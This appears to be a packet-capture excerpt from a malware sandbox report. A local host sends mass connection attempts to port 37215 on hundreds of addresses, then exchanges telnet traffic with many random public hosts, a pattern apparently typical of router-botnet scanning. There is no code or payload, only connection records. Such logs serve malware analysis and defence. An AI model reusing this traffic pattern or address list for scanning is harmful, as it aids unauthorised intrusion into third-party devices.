Dec 28, 2024 20:41:53.048422098 CET	28660	37215	192.168.2.23	197.116.3.195
Dec 28, 2024 20:41:53.048428059 CET	28660	37215	192.168.2.23	197.9.68.0
Dec 28, 2024 20:41:53.048428059 CET	28660	37215	192.168.2.23	156.68.123.178
Dec 28, 2024 20:41:53.048428059 CET	28660	37215	192.168.2.23	156.120.119.50
Dec 28, 2024 20:41:53.048433065 CET	28660	37215	192.168.2.23	41.1.68.114
Dec 28, 2024 20:41:53.048434019 CET	28660	37215	192.168.2.23	41.238.28.248
Dec 28, 2024 20:41:53.048445940 CET	28660	37215	192.168.2.23	197.137.84.251
Dec 28, 2024 20:41:53.048449993 CET	28660	37215	192.168.2.23	197.62.115.126
Dec 28, 2024 20:41:53.048450947 CET	28660	37215	192.168.2.23	41.197.18.28
Dec 28, 2024 20:41:53.048459053 CET	28660	37215	192.168.2.23	156.131.233.55
Dec 28, 2024 20:41:53.048466921 CET	28660	37215	192.168.2.23	197.171.23.226
Dec 28, 2024 20:41:53.048470020 CET	28660	37215	192.168.2.23	156.185.70.132
Dec 28, 2024 20:41:53.048474073 CET	28660	37215	192.168.2.23	41.152.6.92
Dec 28, 2024 20:41:53.048479080 CET	28660	37215	192.168.2.23	41.217.175.143
Dec 28, 2024 20:41:53.048491001 CET	28660	37215	192.168.2.23	41.16.53.60
Dec 28, 2024 20:41:53.048491001 CET	28660	37215	192.168.2.23	156.106.96.43
Dec 28, 2024 20:41:53.048491001 CET	28660	37215	192.168.2.23	41.148.37.4
Dec 28, 2024 20:41:53.048494101 CET	28660	37215	192.168.2.23	41.0.137.125
Dec 28, 2024 20:41:53.048504114 CET	28660	37215	192.168.2.23	41.61.152.253
Dec 28, 2024 20:41:53.048511028 CET	28660	37215	192.168.2.23	197.0.209.78
Dec 28, 2024 20:41:53.048511982 CET	28660	37215	192.168.2.23	197.11.252.41
Dec 28, 2024 20:41:53.048526049 CET	28660	37215	192.168.2.23	197.226.120.98
Dec 28, 2024 20:41:53.048527956 CET	28660	37215	192.168.2.23	197.230.181.155
Dec 28, 2024 20:41:53.048532009 CET	28660	37215	192.168.2.23	197.216.54.234
Dec 28, 2024 20:41:53.048535109 CET	28660	37215	192.168.2.23	156.15.91.226
Dec 28, 2024 20:41:53.048535109 CET	28660	37215	192.168.2.23	156.245.240.167
Dec 28, 2024 20:41:53.048535109 CET	28660	37215	192.168.2.23	197.231.115.252
Dec 28, 2024 20:41:53.048535109 CET	28660	37215	192.168.2.23	41.148.1.58
Dec 28, 2024 20:41:53.048552036 CET	28660	37215	192.168.2.23	41.216.107.45
Dec 28, 2024 20:41:53.048552036 CET	28660	37215	192.168.2.23	156.2.248.234
Dec 28, 2024 20:41:53.048552036 CET	28660	37215	192.168.2.23	41.173.110.85
Dec 28, 2024 20:41:53.048553944 CET	28660	37215	192.168.2.23	197.58.212.186
Dec 28, 2024 20:41:53.048557997 CET	28660	37215	192.168.2.23	41.177.19.189
Dec 28, 2024 20:41:53.048557997 CET	28660	37215	192.168.2.23	156.65.64.71
Dec 28, 2024 20:41:53.048568964 CET	28660	37215	192.168.2.23	197.55.60.90
Dec 28, 2024 20:41:53.048574924 CET	28660	37215	192.168.2.23	197.178.172.81
Dec 28, 2024 20:41:53.048574924 CET	28660	37215	192.168.2.23	41.102.94.147
Dec 28, 2024 20:41:53.048576117 CET	28660	37215	192.168.2.23	197.123.226.135
Dec 28, 2024 20:41:53.048576117 CET	28660	37215	192.168.2.23	156.251.72.245
Dec 28, 2024 20:41:53.048576117 CET	28660	37215	192.168.2.23	197.3.99.10
Dec 28, 2024 20:41:53.048580885 CET	28660	37215	192.168.2.23	41.38.1.141
Dec 28, 2024 20:41:53.048580885 CET	28660	37215	192.168.2.23	41.151.59.30
Dec 28, 2024 20:41:53.048592091 CET	28660	37215	192.168.2.23	197.224.242.222
Dec 28, 2024 20:41:53.048592091 CET	28660	37215	192.168.2.23	41.146.17.83
Dec 28, 2024 20:41:53.048600912 CET	28660	37215	192.168.2.23	197.36.228.186
Dec 28, 2024 20:41:53.048600912 CET	28660	37215	192.168.2.23	156.146.195.27
Dec 28, 2024 20:41:53.048607111 CET	28660	37215	192.168.2.23	156.16.199.152
Dec 28, 2024 20:41:53.048613071 CET	28660	37215	192.168.2.23	197.6.117.171
Dec 28, 2024 20:41:53.048628092 CET	28660	37215	192.168.2.23	156.170.123.202
Dec 28, 2024 20:41:53.048629045 CET	28660	37215	192.168.2.23	41.45.92.175
Dec 28, 2024 20:41:53.048629045 CET	28660	37215	192.168.2.23	197.14.238.75
Dec 28, 2024 20:41:53.048629999 CET	28660	37215	192.168.2.23	156.167.23.247
Dec 28, 2024 20:41:53.048629045 CET	28660	37215	192.168.2.23	41.123.135.231
Dec 28, 2024 20:41:53.048640966 CET	28660	37215	192.168.2.23	197.74.90.49
Dec 28, 2024 20:41:53.048646927 CET	28660	37215	192.168.2.23	41.120.209.252
Dec 28, 2024 20:41:53.048651934 CET	28660	37215	192.168.2.23	156.145.186.33
Dec 28, 2024 20:41:53.048652887 CET	28660	37215	192.168.2.23	156.223.55.126
Dec 28, 2024 20:41:53.048652887 CET	28660	37215	192.168.2.23	156.135.145.49
Dec 28, 2024 20:41:53.048660994 CET	28660	37215	192.168.2.23	41.91.156.237
Dec 28, 2024 20:41:53.048661947 CET	28660	37215	192.168.2.23	41.101.171.27
Dec 28, 2024 20:41:53.048671007 CET	28660	37215	192.168.2.23	197.55.217.165
Dec 28, 2024 20:41:53.048675060 CET	28660	37215	192.168.2.23	156.126.179.203
Dec 28, 2024 20:41:53.048675060 CET	28660	37215	192.168.2.23	41.178.78.181
Dec 28, 2024 20:41:53.048676014 CET	28660	37215	192.168.2.23	41.220.130.210
Dec 28, 2024 20:41:53.048681021 CET	28660	37215	192.168.2.23	197.232.170.23
Dec 28, 2024 20:41:53.048696041 CET	28660	37215	192.168.2.23	41.181.208.206
Dec 28, 2024 20:41:53.048697948 CET	28660	37215	192.168.2.23	41.149.55.193
Dec 28, 2024 20:41:53.048697948 CET	28660	37215	192.168.2.23	41.221.25.190
Dec 28, 2024 20:41:53.048698902 CET	28660	37215	192.168.2.23	41.70.29.60
Dec 28, 2024 20:41:53.048700094 CET	28660	37215	192.168.2.23	41.231.248.21
Dec 28, 2024 20:41:53.048702002 CET	28660	37215	192.168.2.23	156.68.118.102
Dec 28, 2024 20:41:53.048702955 CET	28660	37215	192.168.2.23	197.164.254.42
Dec 28, 2024 20:41:53.048703909 CET	28660	37215	192.168.2.23	41.180.254.33
Dec 28, 2024 20:41:53.048713923 CET	28660	37215	192.168.2.23	197.45.166.140
Dec 28, 2024 20:41:53.048728943 CET	28660	37215	192.168.2.23	197.110.31.254
Dec 28, 2024 20:41:53.048732042 CET	28660	37215	192.168.2.23	197.1.86.199
Dec 28, 2024 20:41:53.048732042 CET	28660	37215	192.168.2.23	197.130.183.51
Dec 28, 2024 20:41:53.048732042 CET	28660	37215	192.168.2.23	41.33.16.112
Dec 28, 2024 20:41:53.048734903 CET	28660	37215	192.168.2.23	197.71.171.191
Dec 28, 2024 20:41:53.048744917 CET	28660	37215	192.168.2.23	156.205.128.168
Dec 28, 2024 20:41:53.048753023 CET	28660	37215	192.168.2.23	156.187.100.22
Dec 28, 2024 20:41:53.048753023 CET	28660	37215	192.168.2.23	156.166.15.108
Dec 28, 2024 20:41:53.048763037 CET	28660	37215	192.168.2.23	41.146.78.201
Dec 28, 2024 20:41:53.048768997 CET	28660	37215	192.168.2.23	156.193.180.101
Dec 28, 2024 20:41:53.048774958 CET	28660	37215	192.168.2.23	156.45.81.185
Dec 28, 2024 20:41:53.048774958 CET	28660	37215	192.168.2.23	156.227.233.30
Dec 28, 2024 20:41:53.048774958 CET	28660	37215	192.168.2.23	41.113.211.113
Dec 28, 2024 20:41:53.048777103 CET	28660	37215	192.168.2.23	156.197.189.240
Dec 28, 2024 20:41:53.048779964 CET	28660	37215	192.168.2.23	41.112.22.44
Dec 28, 2024 20:41:53.048783064 CET	28660	37215	192.168.2.23	41.29.135.184
Dec 28, 2024 20:41:53.048785925 CET	28660	37215	192.168.2.23	156.142.249.251
Dec 28, 2024 20:41:53.048790932 CET	28660	37215	192.168.2.23	197.76.93.249
Dec 28, 2024 20:41:53.048803091 CET	28660	37215	192.168.2.23	197.47.181.59
Dec 28, 2024 20:41:53.048805952 CET	28660	37215	192.168.2.23	197.76.78.118
Dec 28, 2024 20:41:53.048804045 CET	28660	37215	192.168.2.23	156.243.157.98
Dec 28, 2024 20:41:53.048813105 CET	28660	37215	192.168.2.23	41.59.51.39
Dec 28, 2024 20:41:53.048819065 CET	28660	37215	192.168.2.23	41.201.239.140
Dec 28, 2024 20:41:53.048820972 CET	28660	37215	192.168.2.23	197.177.233.237
Dec 28, 2024 20:41:53.048825979 CET	28660	37215	192.168.2.23	197.68.245.80
Dec 28, 2024 20:41:53.048825979 CET	28660	37215	192.168.2.23	41.57.233.212
Dec 28, 2024 20:41:53.048830986 CET	28660	37215	192.168.2.23	41.113.191.134
Dec 28, 2024 20:41:53.048830986 CET	28660	37215	192.168.2.23	197.106.202.137
Dec 28, 2024 20:41:53.048830986 CET	28660	37215	192.168.2.23	156.103.67.83
Dec 28, 2024 20:41:53.048830986 CET	28660	37215	192.168.2.23	156.177.26.45
Dec 28, 2024 20:41:53.048839092 CET	28660	37215	192.168.2.23	197.151.88.205
Dec 28, 2024 20:41:53.048851013 CET	28660	37215	192.168.2.23	41.195.15.243
Dec 28, 2024 20:41:53.048855066 CET	28660	37215	192.168.2.23	197.2.168.158
Dec 28, 2024 20:41:53.048860073 CET	28660	37215	192.168.2.23	197.191.126.248
Dec 28, 2024 20:41:53.048860073 CET	28660	37215	192.168.2.23	41.190.124.95
Dec 28, 2024 20:41:53.048861980 CET	28660	37215	192.168.2.23	41.146.119.115
Dec 28, 2024 20:41:53.048861980 CET	28660	37215	192.168.2.23	197.246.18.89
Dec 28, 2024 20:41:53.048861980 CET	28660	37215	192.168.2.23	197.77.207.216
Dec 28, 2024 20:41:53.048866034 CET	28660	37215	192.168.2.23	41.193.60.171
Dec 28, 2024 20:41:53.048866987 CET	28660	37215	192.168.2.23	197.117.60.245
Dec 28, 2024 20:41:53.048882961 CET	28660	37215	192.168.2.23	41.123.123.68
Dec 28, 2024 20:41:53.048883915 CET	28660	37215	192.168.2.23	41.13.28.198
Dec 28, 2024 20:41:53.048890114 CET	28660	37215	192.168.2.23	156.209.187.252
Dec 28, 2024 20:41:53.048893929 CET	28660	37215	192.168.2.23	156.86.122.189
Dec 28, 2024 20:41:53.048893929 CET	28660	37215	192.168.2.23	41.206.27.108
Dec 28, 2024 20:41:53.048893929 CET	28660	37215	192.168.2.23	41.50.230.149
Dec 28, 2024 20:41:53.048899889 CET	28660	37215	192.168.2.23	156.236.165.7
Dec 28, 2024 20:41:53.048899889 CET	28660	37215	192.168.2.23	197.232.205.131
Dec 28, 2024 20:41:53.048901081 CET	28660	37215	192.168.2.23	156.35.235.157
Dec 28, 2024 20:41:53.048902988 CET	28660	37215	192.168.2.23	156.205.131.172
Dec 28, 2024 20:41:53.048902988 CET	28660	37215	192.168.2.23	197.130.83.32
Dec 28, 2024 20:41:53.048906088 CET	28660	37215	192.168.2.23	156.55.229.244
Dec 28, 2024 20:41:53.048918009 CET	28660	37215	192.168.2.23	156.100.51.190
Dec 28, 2024 20:41:53.048918962 CET	28660	37215	192.168.2.23	41.165.116.21
Dec 28, 2024 20:41:53.048930883 CET	28660	37215	192.168.2.23	156.249.225.89
Dec 28, 2024 20:41:53.048930883 CET	28660	37215	192.168.2.23	156.102.128.66
Dec 28, 2024 20:41:53.048932076 CET	28660	37215	192.168.2.23	156.75.202.213
Dec 28, 2024 20:41:53.048940897 CET	28660	37215	192.168.2.23	197.101.44.189
Dec 28, 2024 20:41:53.048943043 CET	28660	37215	192.168.2.23	197.84.95.187
Dec 28, 2024 20:41:53.048949957 CET	28660	37215	192.168.2.23	156.84.81.9
Dec 28, 2024 20:41:53.048958063 CET	28660	37215	192.168.2.23	156.254.160.241
Dec 28, 2024 20:41:53.048959970 CET	28660	37215	192.168.2.23	156.141.184.118
Dec 28, 2024 20:41:53.048973083 CET	28660	37215	192.168.2.23	41.65.146.229
Dec 28, 2024 20:41:53.048973083 CET	28660	37215	192.168.2.23	156.201.60.162
Dec 28, 2024 20:41:53.048979998 CET	28660	37215	192.168.2.23	41.121.240.194
Dec 28, 2024 20:41:53.048990011 CET	28660	37215	192.168.2.23	41.112.124.98
Dec 28, 2024 20:41:53.048994064 CET	28660	37215	192.168.2.23	197.14.167.81
Dec 28, 2024 20:41:53.049000025 CET	28660	37215	192.168.2.23	41.3.172.63
Dec 28, 2024 20:41:53.049001932 CET	28660	37215	192.168.2.23	156.237.246.135
Dec 28, 2024 20:41:53.049009085 CET	28660	37215	192.168.2.23	197.44.166.254
Dec 28, 2024 20:41:53.049016953 CET	28660	37215	192.168.2.23	41.83.43.129
Dec 28, 2024 20:41:53.049019098 CET	28660	37215	192.168.2.23	156.39.37.168
Dec 28, 2024 20:41:53.049034119 CET	28660	37215	192.168.2.23	41.40.80.5
Dec 28, 2024 20:41:53.049036980 CET	28660	37215	192.168.2.23	41.8.149.157
Dec 28, 2024 20:41:53.049036980 CET	28660	37215	192.168.2.23	41.55.243.241
Dec 28, 2024 20:41:53.049038887 CET	28660	37215	192.168.2.23	41.219.119.230
Dec 28, 2024 20:41:53.049047947 CET	28660	37215	192.168.2.23	41.253.242.218
Dec 28, 2024 20:41:53.049055099 CET	28660	37215	192.168.2.23	41.35.26.138
Dec 28, 2024 20:41:53.049055099 CET	28660	37215	192.168.2.23	156.27.13.92
Dec 28, 2024 20:41:53.049067974 CET	28660	37215	192.168.2.23	197.73.206.8
Dec 28, 2024 20:41:53.049082041 CET	28660	37215	192.168.2.23	197.197.103.45
Dec 28, 2024 20:41:53.049082994 CET	28660	37215	192.168.2.23	41.104.246.6
Dec 28, 2024 20:41:53.049082994 CET	28660	37215	192.168.2.23	197.119.56.206
Dec 28, 2024 20:41:53.049083948 CET	28660	37215	192.168.2.23	156.166.36.242
Dec 28, 2024 20:41:53.049082041 CET	28660	37215	192.168.2.23	197.147.251.180
Dec 28, 2024 20:41:53.049092054 CET	28660	37215	192.168.2.23	156.46.190.37
Dec 28, 2024 20:41:53.049102068 CET	28660	37215	192.168.2.23	156.59.162.149
Dec 28, 2024 20:41:53.049103022 CET	28660	37215	192.168.2.23	41.25.16.126
Dec 28, 2024 20:41:53.049103022 CET	28660	37215	192.168.2.23	41.26.201.26
Dec 28, 2024 20:41:53.049103975 CET	28660	37215	192.168.2.23	156.247.73.92
Dec 28, 2024 20:41:53.049105883 CET	28660	37215	192.168.2.23	41.3.23.149
Dec 28, 2024 20:41:53.049113035 CET	28660	37215	192.168.2.23	156.43.229.49
Dec 28, 2024 20:41:53.049113989 CET	28660	37215	192.168.2.23	41.117.19.206
Dec 28, 2024 20:41:53.049123049 CET	28660	37215	192.168.2.23	41.88.174.236
Dec 28, 2024 20:41:53.049129009 CET	28660	37215	192.168.2.23	156.198.216.236
Dec 28, 2024 20:41:53.049129009 CET	28660	37215	192.168.2.23	197.10.183.11
Dec 28, 2024 20:41:53.049134016 CET	28660	37215	192.168.2.23	197.87.134.100
Dec 28, 2024 20:41:53.049139977 CET	28660	37215	192.168.2.23	41.25.119.122
Dec 28, 2024 20:41:53.049140930 CET	28660	37215	192.168.2.23	197.215.154.112
Dec 28, 2024 20:41:53.049144030 CET	28660	37215	192.168.2.23	156.156.238.34
Dec 28, 2024 20:41:53.049144030 CET	28660	37215	192.168.2.23	197.162.245.42
Dec 28, 2024 20:41:53.049149036 CET	28660	37215	192.168.2.23	156.154.210.8
Dec 28, 2024 20:41:53.049149036 CET	28660	37215	192.168.2.23	197.43.39.105
Dec 28, 2024 20:41:53.049158096 CET	28660	37215	192.168.2.23	41.13.188.233
Dec 28, 2024 20:41:53.049166918 CET	28660	37215	192.168.2.23	156.23.229.188
Dec 28, 2024 20:41:53.049166918 CET	28660	37215	192.168.2.23	197.90.65.169
Dec 28, 2024 20:41:53.049185038 CET	28660	37215	192.168.2.23	197.64.60.158
Dec 28, 2024 20:41:53.049189091 CET	28660	37215	192.168.2.23	41.65.114.173
Dec 28, 2024 20:41:53.049189091 CET	28660	37215	192.168.2.23	41.250.144.102
Dec 28, 2024 20:41:53.049190044 CET	28660	37215	192.168.2.23	156.19.101.189
Dec 28, 2024 20:41:53.049191952 CET	28660	37215	192.168.2.23	156.93.13.137
Dec 28, 2024 20:41:53.049196959 CET	28660	37215	192.168.2.23	197.238.87.181
Dec 28, 2024 20:41:53.049209118 CET	28660	37215	192.168.2.23	41.21.179.244
Dec 28, 2024 20:41:53.049221992 CET	28660	37215	192.168.2.23	41.27.80.209
Dec 28, 2024 20:41:53.049230099 CET	28660	37215	192.168.2.23	156.106.130.70
Dec 28, 2024 20:41:53.049231052 CET	28660	37215	192.168.2.23	197.165.106.167
Dec 28, 2024 20:41:53.049232006 CET	28660	37215	192.168.2.23	41.214.225.23
Dec 28, 2024 20:41:53.049232960 CET	28660	37215	192.168.2.23	197.58.95.23
Dec 28, 2024 20:41:53.049232960 CET	28660	37215	192.168.2.23	41.218.124.11
Dec 28, 2024 20:41:53.049232960 CET	28660	37215	192.168.2.23	197.22.52.65
Dec 28, 2024 20:41:53.049242973 CET	28660	37215	192.168.2.23	197.30.16.67
Dec 28, 2024 20:41:53.049242973 CET	28660	37215	192.168.2.23	156.23.157.140
Dec 28, 2024 20:41:53.049242973 CET	28660	37215	192.168.2.23	156.36.180.155
Dec 28, 2024 20:41:53.049242973 CET	28660	37215	192.168.2.23	197.148.154.85
Dec 28, 2024 20:41:53.049248934 CET	28660	37215	192.168.2.23	41.147.39.246
Dec 28, 2024 20:41:53.049258947 CET	28660	37215	192.168.2.23	41.195.164.138
Dec 28, 2024 20:41:53.153820992 CET	23	28664	154.135.179.149	192.168.2.23
Dec 28, 2024 20:41:53.153829098 CET	23	28664	112.24.171.99	192.168.2.23
Dec 28, 2024 20:41:53.153834105 CET	23	28664	206.150.132.131	192.168.2.23
Dec 28, 2024 20:41:53.153846025 CET	23	28664	171.44.203.56	192.168.2.23
Dec 28, 2024 20:41:53.153853893 CET	23	28664	76.226.95.49	192.168.2.23
Dec 28, 2024 20:41:53.153858900 CET	23	28664	203.34.58.1	192.168.2.23
Dec 28, 2024 20:41:53.153863907 CET	23	28664	58.10.156.37	192.168.2.23
Dec 28, 2024 20:41:53.153867960 CET	23	28664	198.158.58.251	192.168.2.23
Dec 28, 2024 20:41:53.153872013 CET	28664	23	192.168.2.23	154.135.179.149
Dec 28, 2024 20:41:53.153872967 CET	23	28664	160.209.221.166	192.168.2.23
Dec 28, 2024 20:41:53.153877974 CET	23	28664	131.171.205.24	192.168.2.23
Dec 28, 2024 20:41:53.153892040 CET	23	28664	80.92.231.101	192.168.2.23
Dec 28, 2024 20:41:53.153892040 CET	28664	23	192.168.2.23	76.226.95.49
Dec 28, 2024 20:41:53.153894901 CET	28664	23	192.168.2.23	58.10.156.37
Dec 28, 2024 20:41:53.153894901 CET	28664	23	192.168.2.23	203.34.58.1
Dec 28, 2024 20:41:53.153894901 CET	28664	23	192.168.2.23	198.158.58.251
Dec 28, 2024 20:41:53.153896093 CET	23	28664	217.93.74.14	192.168.2.23
Dec 28, 2024 20:41:53.153896093 CET	28664	23	192.168.2.23	112.24.171.99
Dec 28, 2024 20:41:53.153898954 CET	28664	23	192.168.2.23	171.44.203.56
Dec 28, 2024 20:41:53.153898954 CET	28664	23	192.168.2.23	206.150.132.131
Dec 28, 2024 20:41:53.153911114 CET	28664	23	192.168.2.23	160.209.221.166
Dec 28, 2024 20:41:53.153934002 CET	28664	23	192.168.2.23	131.171.205.24
Dec 28, 2024 20:41:53.153939009 CET	28664	23	192.168.2.23	217.93.74.14
Dec 28, 2024 20:41:53.153942108 CET	28664	23	192.168.2.23	80.92.231.101
Dec 28, 2024 20:41:53.153975964 CET	23	28664	37.163.60.147	192.168.2.23
Dec 28, 2024 20:41:53.153980970 CET	23	28664	210.69.174.157	192.168.2.23
Dec 28, 2024 20:41:53.153990984 CET	23	28664	27.16.69.209	192.168.2.23
Dec 28, 2024 20:41:53.153995991 CET	23	28664	185.24.156.158	192.168.2.23
Dec 28, 2024 20:41:53.154021978 CET	23	28664	218.211.3.190	192.168.2.23
Dec 28, 2024 20:41:53.154022932 CET	28664	23	192.168.2.23	37.163.60.147
Dec 28, 2024 20:41:53.154026985 CET	23	28664	172.34.88.206	192.168.2.23
Dec 28, 2024 20:41:53.154030085 CET	28664	23	192.168.2.23	210.69.174.157
Dec 28, 2024 20:41:53.154031992 CET	23	28664	129.148.83.234	192.168.2.23
Dec 28, 2024 20:41:53.154036999 CET	23	28664	171.252.208.134	192.168.2.23
Dec 28, 2024 20:41:53.154041052 CET	23	28664	101.228.59.115	192.168.2.23
Dec 28, 2024 20:41:53.154046059 CET	23	28664	62.72.70.142	192.168.2.23
Dec 28, 2024 20:41:53.154050112 CET	28664	23	192.168.2.23	27.16.69.209
Dec 28, 2024 20:41:53.154051065 CET	23	28664	19.69.64.200	192.168.2.23
Dec 28, 2024 20:41:53.154052973 CET	28664	23	192.168.2.23	185.24.156.158
Dec 28, 2024 20:41:53.154064894 CET	23	28664	209.214.206.247	192.168.2.23
Dec 28, 2024 20:41:53.154067993 CET	23	28664	144.177.169.140	192.168.2.23
Dec 28, 2024 20:41:53.154076099 CET	28664	23	192.168.2.23	218.211.3.190
Dec 28, 2024 20:41:53.154076099 CET	28664	23	192.168.2.23	129.148.83.234
Dec 28, 2024 20:41:53.154077053 CET	23	28664	151.116.14.206	192.168.2.23
Dec 28, 2024 20:41:53.154078007 CET	28664	23	192.168.2.23	172.34.88.206
Dec 28, 2024 20:41:53.154078960 CET	23	28664	67.18.101.9	192.168.2.23
Dec 28, 2024 20:41:53.154079914 CET	28664	23	192.168.2.23	62.72.70.142
Dec 28, 2024 20:41:53.154083014 CET	23	28664	114.75.63.140	192.168.2.23
Dec 28, 2024 20:41:53.154083967 CET	23	28664	61.179.239.41	192.168.2.23
Dec 28, 2024 20:41:53.154086113 CET	23	28664	8.103.188.190	192.168.2.23
Dec 28, 2024 20:41:53.154087067 CET	28664	23	192.168.2.23	101.228.59.115
Dec 28, 2024 20:41:53.154092073 CET	28664	23	192.168.2.23	171.252.208.134
Dec 28, 2024 20:41:53.154093027 CET	28664	23	192.168.2.23	209.214.206.247
Dec 28, 2024 20:41:53.154093981 CET	28664	23	192.168.2.23	144.177.169.140
Dec 28, 2024 20:41:53.154093981 CET	28664	23	192.168.2.23	19.69.64.200
Dec 28, 2024 20:41:53.154109001 CET	28664	23	192.168.2.23	114.75.63.140
Dec 28, 2024 20:41:53.154109001 CET	28664	23	192.168.2.23	151.116.14.206
Dec 28, 2024 20:41:53.154109955 CET	28664	23	192.168.2.23	61.179.239.41
Dec 28, 2024 20:41:53.154114008 CET	28664	23	192.168.2.23	67.18.101.9
Dec 28, 2024 20:41:53.154122114 CET	28664	23	192.168.2.23	8.103.188.190
Dec 28, 2024 20:41:53.154479027 CET	23	28664	120.56.188.58	192.168.2.23
Dec 28, 2024 20:41:53.154489040 CET	23	28664	100.9.216.149	192.168.2.23
Dec 28, 2024 20:41:53.154494047 CET	23	28664	121.53.213.189	192.168.2.23
Dec 28, 2024 20:41:53.154521942 CET	28664	23	192.168.2.23	120.56.188.58
Dec 28, 2024 20:41:53.154521942 CET	28664	23	192.168.2.23	121.53.213.189
Dec 28, 2024 20:41:53.154525995 CET	23	28664	124.62.65.219	192.168.2.23
Dec 28, 2024 20:41:53.154525042 CET	28664	23	192.168.2.23	100.9.216.149
Dec 28, 2024 20:41:53.154532909 CET	23	28664	148.217.218.131	192.168.2.23
Dec 28, 2024 20:41:53.154551029 CET	23	28664	137.172.93.139	192.168.2.23
Dec 28, 2024 20:41:53.154556036 CET	23	28664	176.207.236.21	192.168.2.23
Dec 28, 2024 20:41:53.154562950 CET	23	28664	199.133.29.254	192.168.2.23
Dec 28, 2024 20:41:53.154566050 CET	28664	23	192.168.2.23	124.62.65.219
Dec 28, 2024 20:41:53.154570103 CET	28664	23	192.168.2.23	148.217.218.131
Dec 28, 2024 20:41:53.154587984 CET	28664	23	192.168.2.23	176.207.236.21
Dec 28, 2024 20:41:53.154587984 CET	28664	23	192.168.2.23	199.133.29.254
Dec 28, 2024 20:41:53.154589891 CET	28664	23	192.168.2.23	137.172.93.139
Dec 28, 2024 20:41:53.154634953 CET	23	28664	207.126.197.27	192.168.2.23
Dec 28, 2024 20:41:53.154639959 CET	23	28664	62.17.23.194	192.168.2.23
Dec 28, 2024 20:41:53.154649019 CET	23	28664	41.214.113.154	192.168.2.23
Dec 28, 2024 20:41:53.154654026 CET	23	28664	179.109.76.118	192.168.2.23
Dec 28, 2024 20:41:53.154671907 CET	23	28664	195.89.236.187	192.168.2.23
Dec 28, 2024 20:41:53.154675961 CET	23	28664	43.2.38.38	192.168.2.23
Dec 28, 2024 20:41:53.154679060 CET	28664	23	192.168.2.23	207.126.197.27
Dec 28, 2024 20:41:53.154680967 CET	28664	23	192.168.2.23	62.17.23.194
Dec 28, 2024 20:41:53.154680967 CET	23	28664	40.18.54.50	192.168.2.23
Dec 28, 2024 20:41:53.154685974 CET	28664	23	192.168.2.23	41.214.113.154
Dec 28, 2024 20:41:53.154685974 CET	28664	23	192.168.2.23	179.109.76.118
Dec 28, 2024 20:41:53.154711008 CET	28664	23	192.168.2.23	40.18.54.50
Dec 28, 2024 20:41:53.154714108 CET	28664	23	192.168.2.23	43.2.38.38
Dec 28, 2024 20:41:53.154714108 CET	28664	23	192.168.2.23	195.89.236.187
Dec 28, 2024 20:41:53.154726982 CET	23	28664	195.35.121.107	192.168.2.23
Dec 28, 2024 20:41:53.154731989 CET	23	28664	88.10.237.100	192.168.2.23
Dec 28, 2024 20:41:53.154736996 CET	23	28664	58.93.239.215	192.168.2.23
Dec 28, 2024 20:41:53.154761076 CET	23	28664	109.110.247.65	192.168.2.23
Dec 28, 2024 20:41:53.154764891 CET	28664	23	192.168.2.23	195.35.121.107
Dec 28, 2024 20:41:53.154766083 CET	23	28664	17.227.50.236	192.168.2.23
Dec 28, 2024 20:41:53.154764891 CET	28664	23	192.168.2.23	88.10.237.100
Dec 28, 2024 20:41:53.154771090 CET	23	28664	41.152.116.39	192.168.2.23
Dec 28, 2024 20:41:53.154802084 CET	28664	23	192.168.2.23	58.93.239.215
Dec 28, 2024 20:41:53.154802084 CET	28664	23	192.168.2.23	109.110.247.65
Dec 28, 2024 20:41:53.154803038 CET	23	28664	8.107.177.176	192.168.2.23
Dec 28, 2024 20:41:53.154808998 CET	23	28664	222.99.161.57	192.168.2.23
Dec 28, 2024 20:41:53.154818058 CET	23	28664	163.16.170.216	192.168.2.23
Dec 28, 2024 20:41:53.154825926 CET	28664	23	192.168.2.23	17.227.50.236
Dec 28, 2024 20:41:53.154827118 CET	28664	23	192.168.2.23	41.152.116.39
Dec 28, 2024 20:41:53.154844046 CET	28664	23	192.168.2.23	8.107.177.176
Dec 28, 2024 20:41:53.154845953 CET	28664	23	192.168.2.23	222.99.161.57
Dec 28, 2024 20:41:53.154850006 CET	28664	23	192.168.2.23	163.16.170.216
Dec 28, 2024 20:41:53.154890060 CET	23	28664	59.34.41.117	192.168.2.23
Dec 28, 2024 20:41:53.154895067 CET	23	28664	17.120.20.214	192.168.2.23
Dec 28, 2024 20:41:53.154905081 CET	23	28664	149.73.91.69	192.168.2.23
Dec 28, 2024 20:41:53.154915094 CET	23	28664	153.175.71.136	192.168.2.23
Dec 28, 2024 20:41:53.154933929 CET	28664	23	192.168.2.23	149.73.91.69
Dec 28, 2024 20:41:53.154939890 CET	28664	23	192.168.2.23	59.34.41.117
Dec 28, 2024 20:41:53.154947042 CET	28664	23	192.168.2.23	17.120.20.214
Dec 28, 2024 20:41:53.154953003 CET	28664	23	192.168.2.23	153.175.71.136
Dec 28, 2024 20:41:53.155451059 CET	23	28664	82.188.251.214	192.168.2.23
Dec 28, 2024 20:41:53.155457020 CET	23	28664	40.106.190.74	192.168.2.23
Dec 28, 2024 20:41:53.155467987 CET	23	28664	17.44.221.137	192.168.2.23
Dec 28, 2024 20:41:53.155472994 CET	23	28664	9.166.170.17	192.168.2.23
Dec 28, 2024 20:41:53.155498981 CET	28664	23	192.168.2.23	82.188.251.214
Dec 28, 2024 20:41:53.155514002 CET	28664	23	192.168.2.23	17.44.221.137
Dec 28, 2024 20:41:53.155514956 CET	28664	23	192.168.2.23	9.166.170.17
Dec 28, 2024 20:41:53.155534983 CET	28664	23	192.168.2.23	40.106.190.74
Dec 28, 2024 20:41:53.155677080 CET	23	28664	23.77.195.134	192.168.2.23
Dec 28, 2024 20:41:53.155683041 CET	23	28664	150.215.74.146	192.168.2.23
Dec 28, 2024 20:41:53.155687094 CET	23	28664	158.222.209.62	192.168.2.23
Dec 28, 2024 20:41:53.155692101 CET	23	28664	114.237.104.10	192.168.2.23
Dec 28, 2024 20:41:53.155697107 CET	23	28664	200.61.138.18	192.168.2.23
Dec 28, 2024 20:41:53.155702114 CET	23	28664	209.32.161.50	192.168.2.23
Dec 28, 2024 20:41:53.155715942 CET	28664	23	192.168.2.23	23.77.195.134
Dec 28, 2024 20:41:53.155716896 CET	23	28664	208.174.9.86	192.168.2.23
Dec 28, 2024 20:41:53.155721903 CET	23	28664	63.152.86.131	192.168.2.23
Dec 28, 2024 20:41:53.155725002 CET	28664	23	192.168.2.23	114.237.104.10
Dec 28, 2024 20:41:53.155725956 CET	23	28664	162.124.205.189	192.168.2.23
Dec 28, 2024 20:41:53.155726910 CET	28664	23	192.168.2.23	158.222.209.62
